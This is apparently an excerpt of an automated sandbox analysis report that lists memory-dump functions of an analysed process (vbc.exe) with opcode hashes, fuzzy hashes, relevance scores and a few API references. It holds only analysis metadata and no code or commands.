Opcode ID: 8ebfceea2a730a02a726cd2117e12fcd17951ae67b288c36d73b5ce6bcd148fa
Instruction ID: b0ae8265fcab448071e672ea27cc285c3f72692145907ec4185edbd05e612481
Opcode Fuzzy Hash: 8ebfceea2a730a02a726cd2117e12fcd17951ae67b288c36d73b5ce6bcd148fa
Instruction Fuzzy Hash: 72B11A74E14219CFCB14CFA8D590A9EBBF2BF89304F248559E905AB36AD731AD41CF60

Uniqueness

Uniqueness Score: -1.00%

Function 01F10006, Relevance: .2, Instructions: 202COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2140253080.0000000001F10000.00000040.00000001.sdmp, Offset: 01F10000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 41556a8c15754bcc1223d53f3248b5f4f19e7dc7f4535337d5f81ba02208e8a7
Instruction ID: a9e395850656e964712411a3eaadbedebb60b79d5343182bff249ca181af2d42
Opcode Fuzzy Hash: 41556a8c15754bcc1223d53f3248b5f4f19e7dc7f4535337d5f81ba02208e8a7
Instruction Fuzzy Hash: BD811971E19209CFCB44CFAAC5804DEFBF1EF89210F24946AD449F7265D7359A41CB64

Uniqueness

Uniqueness Score: -1.00%

Function 01F14CF8, Relevance: .2, Instructions: 181COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2140253080.0000000001F10000.00000040.00000001.sdmp, Offset: 01F10000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 06c0269da9baa094ef62f88c77273ee5f9591bd9a2fb4dcd51f59adccd311399
Instruction ID: 5941c701ac599fd8e88d8463e5fb9f8c5d9b5443a314dab9fbfec3ebf49d43f1
Opcode Fuzzy Hash: 06c0269da9baa094ef62f88c77273ee5f9591bd9a2fb4dcd51f59adccd311399
Instruction Fuzzy Hash: EA713771E152198FDB58CFA9D880BAEBBF2FF89310F1091AAD508A7365DB305A45CF50

Uniqueness

Uniqueness Score: -1.00%

Function 0046E9B0, Relevance: .2, Instructions: 180COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2139898756.0000000000460000.00000040.00000001.sdmp, Offset: 00460000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 16b618db0f1febcd8e97caeba68dc23004dbecd2929f2fe0ceab3c16d2dde616
Instruction ID: eb1bddbc1b85e3e2688307771c6e0d349df7dcb25d074b0347f0fa5fd3fbb3d0
Opcode Fuzzy Hash: 16b618db0f1febcd8e97caeba68dc23004dbecd2929f2fe0ceab3c16d2dde616
Instruction Fuzzy Hash: B0811678E11209DFCB04CF9AD48499EFBF2FF88310F24945AE419AB224D734AA42CF55

Uniqueness

Uniqueness Score: -1.00%

Function 01F10048, Relevance: .2, Instructions: 179COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2140253080.0000000001F10000.00000040.00000001.sdmp, Offset: 01F10000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5caf59a81f958748cd5d2f791a3fec5a37fe393c8e50c04d445db7cae2c987a0
Instruction ID: d5ffe05fe0d9597ed6a77b7cb7ef7172e7df8b792462049b3ea7f48ca760574e
Opcode Fuzzy Hash: 5caf59a81f958748cd5d2f791a3fec5a37fe393c8e50c04d445db7cae2c987a0
Instruction Fuzzy Hash: 5371F871E15219CFCB04CFAAC5809EEFBF2FF88210F24942AE519B7219D7359A418B64

Uniqueness

Uniqueness Score: -1.00%

Function 01F10FB8, Relevance: .2, Instructions: 169COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2140253080.0000000001F10000.00000040.00000001.sdmp, Offset: 01F10000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a94fc136abb6be92bbb97d6141c79f22c2e602d4fe25aa884d634340743760ef
Instruction ID: efdd15f27ec57b5cd9e556af5385a488e9a82af79c601dc1373967ffd6dcd0ca
Opcode Fuzzy Hash: a94fc136abb6be92bbb97d6141c79f22c2e602d4fe25aa884d634340743760ef
Instruction Fuzzy Hash: 8761FD71E107188FDB58CF67884529AFBF3BFC5310F58C1BA954CAA615EB3409468F51

Uniqueness

Uniqueness Score: -1.00%

Function 01F15A60, Relevance: .2, Instructions: 169COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2140253080.0000000001F10000.00000040.00000001.sdmp, Offset: 01F10000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 10a7063ad72413194ef95df4fe3d07e862ac77d9e0e27fc1ffb73d10dab1d2f4
Instruction ID: e717ab5aaac5ed61cdfd1329057e9fa96168dd86d59a9738d12bc4fc64b7384e
Opcode Fuzzy Hash: 10a7063ad72413194ef95df4fe3d07e862ac77d9e0e27fc1ffb73d10dab1d2f4
Instruction Fuzzy Hash: 94616771E0121A9FCB04CFE9D4846EEFBF6BBC9314F18D429E415A7228E73599418FA0

Uniqueness

Uniqueness Score: -1.00%

Function 01F195D7, Relevance: .2, Instructions: 168COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2140253080.0000000001F10000.00000040.00000001.sdmp, Offset: 01F10000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9c779f17ca8635f1f550c7035e2a4fe3b5d69ae3c382a5a06ec5d4a32a2f92f4
Instruction ID: 07859ee34386fc1392bcdecb5ce0baade165b3f5f241e9adf38492bf0f842bc9
Opcode Fuzzy Hash: 9c779f17ca8635f1f550c7035e2a4fe3b5d69ae3c382a5a06ec5d4a32a2f92f4
Instruction Fuzzy Hash: 3B6138B1E05669CBDB28CF66C8407ADB7B6FFC9300F00D5AAC50DA3218E7715A858F50

Uniqueness

Uniqueness Score: -1.00%

Function 01F14D30, Relevance: .1, Instructions: 141COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2140253080.0000000001F10000.00000040.00000001.sdmp, Offset: 01F10000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3b054dbc536708a1a25f34c27b80864a83f5395bbaf0dcda2eafc0a6d4678391
Instruction ID: c209b5b851275461df278800c8d323a4aeccb68f3f773a9a3417cf9f48ffaafd
Opcode Fuzzy Hash: 3b054dbc536708a1a25f34c27b80864a83f5395bbaf0dcda2eafc0a6d4678391
Instruction Fuzzy Hash: 4E513A74E15219CFDB18CFA9D980B9EBBF2BF89310F1481AAD508A7364DB319A41CF50

Uniqueness

Uniqueness Score: -1.00%

Function 01F19829, Relevance: .1, Instructions: 125COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2140253080.0000000001F10000.00000040.00000001.sdmp, Offset: 01F10000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 491c18f2c516717089efe610c5db94acb361b4e89397656effc494804402eb23
Instruction ID: 638677e695978a1177ddaabbfa1e5870ec3b0505543b12c10fe4d2759e22caf9
Opcode Fuzzy Hash: 491c18f2c516717089efe610c5db94acb361b4e89397656effc494804402eb23
Instruction Fuzzy Hash: BF5137B1E4166ACBCB24CF65C840BEDB7B2FF99304F0095EAC50AA3208E7715AC58F50

Uniqueness

Uniqueness Score: -1.00%

Function 01F197F4, Relevance: .1, Instructions: 124COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2140253080.0000000001F10000.00000040.00000001.sdmp, Offset: 01F10000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 17dbe6e175750ff063802896ce3d6d13e5adbfb194f005ee49fe3547e256d7a5
Instruction ID: bc3dba747aa2673d62ad81ee926a3e2aab72ec94b7c0b54459f5a64204cee817
Opcode Fuzzy Hash: 17dbe6e175750ff063802896ce3d6d13e5adbfb194f005ee49fe3547e256d7a5
Instruction Fuzzy Hash: CC512CB1E5165ACBCB24CF65C840BADB7B2FF99300F1095EAC50DA3608E7719A858F54

Uniqueness

Uniqueness Score: -1.00%

Function 01F197CD, Relevance: .1, Instructions: 122COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2140253080.0000000001F10000.00000040.00000001.sdmp, Offset: 01F10000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6c83a7dbf784a980f883b1ed8ff14508f7aa3a1fa4b8605f84070346979b7170
Instruction ID: 2e9afee89b930086094b542fc0ef0d1d12663e46279702ee1d381da6e552f098
Opcode Fuzzy Hash: 6c83a7dbf784a980f883b1ed8ff14508f7aa3a1fa4b8605f84070346979b7170
Instruction Fuzzy Hash: 80513BB5E1165ACBCB24CF65C840BADB7B2FF99300F10D5EAC51DA3608E7719A858F50

Uniqueness

Uniqueness Score: -1.00%

Function 01F197C1, Relevance: .1, Instructions: 115COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2140253080.0000000001F10000.00000040.00000001.sdmp, Offset: 01F10000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c1bbe535b0ee9ff62bd2e388142729001bd95398f69a37f945262e7fa8cd54c5
Instruction ID: fdebc8cfa10e951726de0f2c3a8e1a0bdd9d5e2b189eaab4efd95deb87091c6a
Opcode Fuzzy Hash: c1bbe535b0ee9ff62bd2e388142729001bd95398f69a37f945262e7fa8cd54c5
Instruction Fuzzy Hash: 28514BB5E1165ACBCB24CF65C840BADB7B2FF99300F00D5EAC51AB3608E7719A958F50

Uniqueness

Uniqueness Score: -1.00%

Function 01F11060, Relevance: .1, Instructions: 106COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2140253080.0000000001F10000.00000040.00000001.sdmp, Offset: 01F10000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fdf87578b8bc244292ad25d73165f1f52c609406c52a12b2a628d6977be01fa4
Instruction ID: 96dce060262431673fb6a9c8feb5e866cbe8b0dbab7d03821570b332dc155899
Opcode Fuzzy Hash: fdf87578b8bc244292ad25d73165f1f52c609406c52a12b2a628d6977be01fa4
Instruction Fuzzy Hash: B7413C71E01618CBEB68CF6B994469EFBF7BFC9300F14C1BA850CA6255EB300A458F11

Uniqueness

Uniqueness Score: -1.00%

Function 01F104C8, Relevance: .1, Instructions: 98COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2140253080.0000000001F10000.00000040.00000001.sdmp, Offset: 01F10000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 801a4d0794561c202aec6a16c2b6d2edf5011cdc89e013ec89ec107922ec111a
Instruction ID: b048731ad7c9f782437c7988139a8e6b479e0e43be341929e52ec251fd473e16
Opcode Fuzzy Hash: 801a4d0794561c202aec6a16c2b6d2edf5011cdc89e013ec89ec107922ec111a
Instruction Fuzzy Hash: D441F875E002588FDB18CFAAC95069EFBF3AFC9300F18C1AAD509A7259DB345986CF51

Uniqueness

Uniqueness Score: -1.00%

Function 01F163F8, Relevance: .1, Instructions: 93COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2140253080.0000000001F10000.00000040.00000001.sdmp, Offset: 01F10000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9faf095521eed7cc033b64f3d1c75553ac908b5b2aade5a74fd1d62e9cf55268
Instruction ID: 1137a3d58c11830b6ccdca48bde9d70610a51d36a4bbf960eda78d40a9b0df77
Opcode Fuzzy Hash: 9faf095521eed7cc033b64f3d1c75553ac908b5b2aade5a74fd1d62e9cf55268
Instruction Fuzzy Hash: B8317E71E112199BDB48CFAAD9409DEFBF7BFC8220F14C52AD508F7258D7315A018B50

Uniqueness

Uniqueness Score: -1.00%

Function 01F163E8, Relevance: .1, Instructions: 90COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2140253080.0000000001F10000.00000040.00000001.sdmp, Offset: 01F10000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a0e4385be34b6a10660d27dfe231f292d6cd60e6deb9f90996a919c2372cd2b0
Instruction ID: 91ff09d8f83729334fe61fea208962f06057a06e39b4dcd76eea2b080e213fdd
Opcode Fuzzy Hash: a0e4385be34b6a10660d27dfe231f292d6cd60e6deb9f90996a919c2372cd2b0
Instruction Fuzzy Hash: CB316D71E122199BDB48CFAAD94159EFBF3BFC8310F24C56A9508E7268D7354A028B50

Uniqueness

Uniqueness Score: -1.00%

Function 0046AEE8, Relevance: .1, Instructions: 81COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2139898756.0000000000460000.00000040.00000001.sdmp, Offset: 00460000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1af2371bdbf3d9b486c0d9dbcab218f86c9d3a7925297402ffcf6ade05f1a896
Instruction ID: 67616caf844d9d8f818c8e75e1fc143bd863b57ee587fecf8c9d84532c986432
Opcode Fuzzy Hash: 1af2371bdbf3d9b486c0d9dbcab218f86c9d3a7925297402ffcf6ade05f1a896
Instruction Fuzzy Hash: 6F310E71E106188FDB58CFABD84069EFBF3AFC9210F14C0BAD508A7214EB3459458F56

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: vbc.exe PID: 2884 Parent PID: 2904 vbc.exeCOMMON

Executed Functions

Function 002A5E08, Relevance: 23.4, Strings: 18, Instructions: 904COMMON

Download Yara Rule

Strings

H\, xrefs: 002A5FFD
@I\, xrefs: 002A633D
H\, xrefs: 002A63FF
@I\, xrefs: 002A5EE2
H\, xrefs: 002A64D7
H\, xrefs: 002A5FC1
H\, xrefs: 002A6075
H\, xrefs: 002A5F49
H\, xrefs: 002A5F85
H\, xrefs: 002A6534
H\, xrefs: 002A60B1
H\, xrefs: 002A6603
H\, xrefs: 002A6391
H\, xrefs: 002A6599
H\, xrefs: 002A6671
H\, xrefs: 002A6039
H\, xrefs: 002A5F0D
H\, xrefs: 002A646D

Memory Dump Source

Source File: 00000005.00000002.2350805178.00000000002A0000.00000040.00000001.sdmp, Offset: 002A0000, based on PE: false

Similarity

API ID:
String ID: @I\$@I\$H\$H\$H\$H\$H\$H\$H\$H\$H\$H\$H\$H\$H\$H\$H\$H\
API String ID: 0-377580244
Opcode ID: 00ce9efb7835f17c62ec032247c6ddd28b534354e4398f12f6a8454817c11c38
Instruction ID: 1321372c08ae3206de96edc33e1ff7b25eef273fec39c11315a208f27a4a43f8
Opcode Fuzzy Hash: 00ce9efb7835f17c62ec032247c6ddd28b534354e4398f12f6a8454817c11c38
Instruction Fuzzy Hash: BA829F34A042058FCB14EB74D898B6DBBF2AF89305F1984A9E509DB3A1DF349D86DF50

Uniqueness

Uniqueness Score: -1.00%

Function 002A4CE0, Relevance: 8.4, Strings: 6, Instructions: 881COMMON

Download Yara Rule

Strings

H|l, xrefs: 002A505E
t-\, xrefs: 002A5112
H|l, xrefs: 002A4FEF
h5\, xrefs: 002A567E
H|l, xrefs: 002A4DCF
t-\, xrefs: 002A4E76

Memory Dump Source

Source File: 00000005.00000002.2350805178.00000000002A0000.00000040.00000001.sdmp, Offset: 002A0000, based on PE: false

Similarity

API ID:
String ID: h5\$t-\$t-\$H|l$H|l$H|l
API String ID: 0-2238672222
Opcode ID: 625df394bf17f0ace6de5f5888019db3d5a23e20397d77099bbf7e9ae190afe2
Instruction ID: 39204e2cb25a96671ac4292d181269ae15a9f1408f92719bce0ccf9e0f8eccf8
Opcode Fuzzy Hash: 625df394bf17f0ace6de5f5888019db3d5a23e20397d77099bbf7e9ae190afe2
Instruction Fuzzy Hash: 4F62D030B102158FDB14EBB4D8547AEBBE2AFC6304F148969E406DB791EF78DD468B90

Uniqueness

Uniqueness Score: -1.00%

Function 002A9FC0, Relevance: 3.2, Instructions: 3228COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2350805178.00000000002A0000.00000040.00000001.sdmp, Offset: 002A0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 51a609f3dc66971fe1a57437eb4426f5fc54e9663c9f90d7640e338c6adee139
Instruction ID: f53a87b29e3c19e9a46b358745138d9c4314e36cd7922877a9963455f8892a35
Opcode Fuzzy Hash: 51a609f3dc66971fe1a57437eb4426f5fc54e9663c9f90d7640e338c6adee139
Instruction Fuzzy Hash: 04632B30D1461A8FCB10DF68C884699F7B1FF96300F55C69AE459AB221EF70AAD5CF81

Uniqueness

Uniqueness Score: -1.00%

Function 002A29D8, Relevance: 2.2, Strings: 1, Instructions: 972COMMON

Download Yara Rule

Strings

t-\, xrefs: 002A2B07

Memory Dump Source

Source File: 00000005.00000002.2350805178.00000000002A0000.00000040.00000001.sdmp, Offset: 002A0000, based on PE: false

Similarity

API ID:
String ID: t-\
API String ID: 0-3998113454
Opcode ID: 8cce3c34ef209149757bbee556a2a1b7fb638f1f76342de29db183104ae62786
Instruction ID: e80b11946ea4ce9e31b422d9c4d6227cf1bad32ee435366bf39e37f185f2f981
Opcode Fuzzy Hash: 8cce3c34ef209149757bbee556a2a1b7fb638f1f76342de29db183104ae62786
Instruction Fuzzy Hash: 75729D34A142059FDB14DFB8D884BADBBF2AF8A304F248466E505DB3A1DF34DD858B91

Uniqueness

Uniqueness Score: -1.00%

Function 002AD650, Relevance: 1.3, Instructions: 1340COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2350805178.00000000002A0000.00000040.00000001.sdmp, Offset: 002A0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6a20324378b64bb1e715ea420f98c3a34438224009f46e147b6ad74a58131dbd
Instruction ID: afaf01aab721c7a8a2e7b7952ff7ba443b6aeee732d99a94236e97b44526ec83
Opcode Fuzzy Hash: 6a20324378b64bb1e715ea420f98c3a34438224009f46e147b6ad74a58131dbd
Instruction Fuzzy Hash: 61C28E70E102598FCB54DF68C88079EB7F2BF89304F1586AAE509AB251EF30AD85CF55

Uniqueness

Uniqueness Score: -1.00%

Function 002A7688, Relevance: .4, Instructions: 401COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2350805178.00000000002A0000.00000040.00000001.sdmp, Offset: 002A0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dbe69e392c3f032ae909591dc50c08e3e876eeafdfeefaf2316ec1c5d898291e
Instruction ID: 31faec6c4d785eb77bce1a08a1e6fa2ad2c41977c05fd5f15cce428e8e261548
Opcode Fuzzy Hash: dbe69e392c3f032ae909591dc50c08e3e876eeafdfeefaf2316ec1c5d898291e
Instruction Fuzzy Hash: B5E1AF70E142098FCB14DFB8C884A9DB7B2AF89318F298625D515AB395DF34EC52CB94

Uniqueness

Uniqueness Score: -1.00%

Function 002379A8, Relevance: 4.0, APIs: 2, Instructions: 955COMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL ref: 00238115

Memory Dump Source

Source File: 00000005.00000002.2350768883.0000000000230000.00000040.00000001.sdmp, Offset: 00230000, based on PE: false

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: 4d6e2a03134699c1422ae901c520227c3063d8e9ab49fb12c7fb7fa065a751c3
Instruction ID: f34a3fb94ad552a0530b36ebe06c7c4a3f734e67253805e087c98c87ce684d57
Opcode Fuzzy Hash: 4d6e2a03134699c1422ae901c520227c3063d8e9ab49fb12c7fb7fa065a751c3
Instruction Fuzzy Hash: A6A218B4A18228CFCB65DF70D848A9DB7B6BF49305F1084EAD50AA7660CB719EC5CF50

Uniqueness

Uniqueness Score: -1.00%

Function 002379C9, Relevance: 3.6, APIs: 2, Instructions: 631COMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL ref: 00238115

Memory Dump Source

Source File: 00000005.00000002.2350768883.0000000000230000.00000040.00000001.sdmp, Offset: 00230000, based on PE: false

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: b3d78efc39db56a5ed59527289ac21f563f06ca670220e9b114ba6c05439fa7c
Instruction ID: 0af411f70d11912b7611115b573886160852a2db852d1868da24cf64ad81accf
Opcode Fuzzy Hash: b3d78efc39db56a5ed59527289ac21f563f06ca670220e9b114ba6c05439fa7c
Instruction Fuzzy Hash: 1D6203B4A18228CFCB64DF70C848A9DB7B6BF48305F1084EAE50AA7650CB759EC5CF55

Uniqueness

Uniqueness Score: -1.00%

Function 00237A0E, Relevance: 3.6, APIs: 2, Instructions: 624COMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL ref: 00238115

Memory Dump Source

Source File: 00000005.00000002.2350768883.0000000000230000.00000040.00000001.sdmp, Offset: 00230000, based on PE: false

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: 67149286c56a96845f8b92d627e88901986a6bbc67dcde2cad5fb39cac65931e
Instruction ID: 1aa33b86945ac0aaf4b749d5fe0e701e3eff642ccd4e594c4b8f722a52b62f5a
Opcode Fuzzy Hash: 67149286c56a96845f8b92d627e88901986a6bbc67dcde2cad5fb39cac65931e
Instruction Fuzzy Hash: CB5203B4A18228CFCB64DF70C848A9DB7B6BF48305F1084EAE50AA7650CB759EC5CF55

Uniqueness

Uniqueness Score: -1.00%

Function 0023A3DC, Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 88registryCOMMON

Download Yara Rule

APIs

RegQueryValueExW.KERNEL32(00000000,00000000,?,?,00000000,?), ref: 0023F3A1

Strings

,<\, xrefs: 0023A3DC

Memory Dump Source

Source File: 00000005.00000002.2350768883.0000000000230000.00000040.00000001.sdmp, Offset: 00230000, based on PE: false

Similarity

API ID: QueryValue
String ID: ,<\
API String ID: 3660427363-3744989878
Opcode ID: c8b879c861cdb173396a44aadf5b6b1eae1916ea8fca438676c5c8db4ae4afa1
Instruction ID: 6b8644392ff553f2efe21ce77f7194c7e78a3291828a81b45924de4931be56bd
Opcode Fuzzy Hash: c8b879c861cdb173396a44aadf5b6b1eae1916ea8fca438676c5c8db4ae4afa1
Instruction Fuzzy Hash: AE31F1B1D102589FCB20CF9AD984A8EBBF5BF48700F25806AE819BB350D7749955CF90

Uniqueness

Uniqueness Score: -1.00%

Function 00237E6E, Relevance: 3.5, APIs: 2, Instructions: 458COMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL ref: 00238115
KiUserExceptionDispatcher.NTDLL ref: 0023868C

Memory Dump Source

Source File: 00000005.00000002.2350768883.0000000000230000.00000040.00000001.sdmp, Offset: 00230000, based on PE: false

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: 17e113fbca64d00ca8858eb99b205e3c091c86102c8757ac3b1141117561e0c7
Instruction ID: f589bdf41031c1ebe596e28b0afd5701873570da3b3c780c982eb309a030868f
Opcode Fuzzy Hash: 17e113fbca64d00ca8858eb99b205e3c091c86102c8757ac3b1141117561e0c7
Instruction Fuzzy Hash: 3B22E4B4A14328CFCB65DB20C848A99B7B6BF48305F2084EAD64AA7350CF719EC5DF55

Uniqueness

Uniqueness Score: -1.00%

Function 00237EB3, Relevance: 3.5, APIs: 2, Instructions: 451COMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL ref: 00238115
KiUserExceptionDispatcher.NTDLL ref: 0023868C

Memory Dump Source

Source File: 00000005.00000002.2350768883.0000000000230000.00000040.00000001.sdmp, Offset: 00230000, based on PE: false

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: 4a6d98150e76b782353e7c5ae27da69305a5c561220736e8d793beade9c04e52
Instruction ID: 8af88a4b2dd0f5ec956672a1a690bb9102fdb0648fdb89ed168492e2317449fa
Opcode Fuzzy Hash: 4a6d98150e76b782353e7c5ae27da69305a5c561220736e8d793beade9c04e52
Instruction Fuzzy Hash: CD22E4B4A14328CFCB65DB30C848A99B7B6BF48305F1084EAD64AA7350CB719EC5DF55

Uniqueness

Uniqueness Score: -1.00%

Function 00237EF8, Relevance: 3.4, APIs: 2, Instructions: 444COMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL ref: 00238115
KiUserExceptionDispatcher.NTDLL ref: 0023868C

Memory Dump Source

Source File: 00000005.00000002.2350768883.0000000000230000.00000040.00000001.sdmp, Offset: 00230000, based on PE: false

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: 3cf462475bc25d41b971fe96e41604aa5c6fb52c75ccc97b7ec0c815a0025799
Instruction ID: 1ff37a8d93ac637448483ba96fff32a7ca91f944614328e12f142a17514eccd0
Opcode Fuzzy Hash: 3cf462475bc25d41b971fe96e41604aa5c6fb52c75ccc97b7ec0c815a0025799
Instruction Fuzzy Hash: 0E22E4B4A14328CFCB65DB30C848A99B7B6BF48305F2084EAD64AA7350CB719EC5DF55

Uniqueness

Uniqueness Score: -1.00%

Function 00237F53, Relevance: 3.4, APIs: 2, Instructions: 433COMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL ref: 00238115
KiUserExceptionDispatcher.NTDLL ref: 0023868C

Memory Dump Source

Source File: 00000005.00000002.2350768883.0000000000230000.00000040.00000001.sdmp, Offset: 00230000, based on PE: false

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: 75820f688c545573e11ea45b9518407977d05df1a2b0ff25b53e8f7c9226dd59
Instruction ID: f7643e7d41fe8ec279e3e23f527e6ad2c2550f49ae25c4c3f0564c4997a81539
Opcode Fuzzy Hash: 75820f688c545573e11ea45b9518407977d05df1a2b0ff25b53e8f7c9226dd59
Instruction Fuzzy Hash: 4B22F4B4A14328CFCB65DB30C848A99B7B6BF48305F2084EAD64AA7350CB719EC5DF55

Uniqueness

Uniqueness Score: -1.00%

Function 00237F98, Relevance: 3.4, APIs: 2, Instructions: 426COMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL ref: 00238115
KiUserExceptionDispatcher.NTDLL ref: 0023868C

Memory Dump Source

Source File: 00000005.00000002.2350768883.0000000000230000.00000040.00000001.sdmp, Offset: 00230000, based on PE: false

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: 31e95f967ee67ca0da444a1b441d447448e883bbc389f55992d07744ae4c2368
Instruction ID: b6eb99f4c615c6c494068123a98d06063cee2d901234f6896244b434f422f42c
Opcode Fuzzy Hash: 31e95f967ee67ca0da444a1b441d447448e883bbc389f55992d07744ae4c2368
Instruction Fuzzy Hash: C022E2B4A14328CFCB65DB20C848A99B7B6BF48305F2084EAD64AA7350CB719EC5DF55

Uniqueness

Uniqueness Score: -1.00%

Function 00237FDD, Relevance: 3.4, APIs: 2, Instructions: 419COMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL ref: 00238115
KiUserExceptionDispatcher.NTDLL ref: 0023868C

Memory Dump Source

Source File: 00000005.00000002.2350768883.0000000000230000.00000040.00000001.sdmp, Offset: 00230000, based on PE: false

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: 50823c3f2c01e64c6b97ad8e038a2e5f382be66f70b90c159138ea47145fc623
Instruction ID: 77a8db9ce18698721ba5db607311720d763074263b66cfccf3d3491ee7aa03f9
Opcode Fuzzy Hash: 50823c3f2c01e64c6b97ad8e038a2e5f382be66f70b90c159138ea47145fc623
Instruction Fuzzy Hash: 8812F3B4A14328CFCB65DB30C848A99B7B6BF48305F2084EAD64AA7350CB719EC5DF55

Uniqueness

Uniqueness Score: -1.00%

Function 00238022, Relevance: 3.4, APIs: 2, Instructions: 412COMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL ref: 00238115
KiUserExceptionDispatcher.NTDLL ref: 0023868C

Memory Dump Source

Source File: 00000005.00000002.2350768883.0000000000230000.00000040.00000001.sdmp, Offset: 00230000, based on PE: false

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: 10cf50477354f7737989d556c08056ed07e7380092d7260edbc9d30c437f6747
Instruction ID: 860f09d23c52a2081660e8cdfeb68ee76f336eac868ae694ae9dd7c55131c37f
Opcode Fuzzy Hash: 10cf50477354f7737989d556c08056ed07e7380092d7260edbc9d30c437f6747
Instruction Fuzzy Hash: 0712E3B4A14328CFCB65DB30C848A99B7B6BF48305F2084EAD64AA7350CB719EC5DF55

Uniqueness

Uniqueness Score: -1.00%

Function 00238067, Relevance: 3.4, APIs: 2, Instructions: 405COMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL ref: 00238115
KiUserExceptionDispatcher.NTDLL ref: 0023868C

Memory Dump Source

Source File: 00000005.00000002.2350768883.0000000000230000.00000040.00000001.sdmp, Offset: 00230000, based on PE: false

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: 6710ab30c1fdaa56ef1343a1d8692161ddd8f6569fdc8be54e921ffde97382f9
Instruction ID: 2c01a7ff6369b61b3490d0a92dbbb32580c641ab38eee3cbf1ec0cbf47778bd8
Opcode Fuzzy Hash: 6710ab30c1fdaa56ef1343a1d8692161ddd8f6569fdc8be54e921ffde97382f9
Instruction Fuzzy Hash: 3312F4B4A14328CFCB65DB30C848A99B7B6BF48305F2084EAD64AA7350CB719EC5DF55

Uniqueness

Uniqueness Score: -1.00%

Function 002380AC, Relevance: 3.4, APIs: 2, Instructions: 398COMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL ref: 00238115
KiUserExceptionDispatcher.NTDLL ref: 0023868C

Memory Dump Source

Source File: 00000005.00000002.2350768883.0000000000230000.00000040.00000001.sdmp, Offset: 00230000, based on PE: false

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: aa2227409d3d1aa1ff8693fbed678ef4e44493902ea753a131918aba5d4c1310
Instruction ID: 68088d63dad7b552b97138e2914d929e421327bc7d05c43a17ea317fec531c42
Opcode Fuzzy Hash: aa2227409d3d1aa1ff8693fbed678ef4e44493902ea753a131918aba5d4c1310
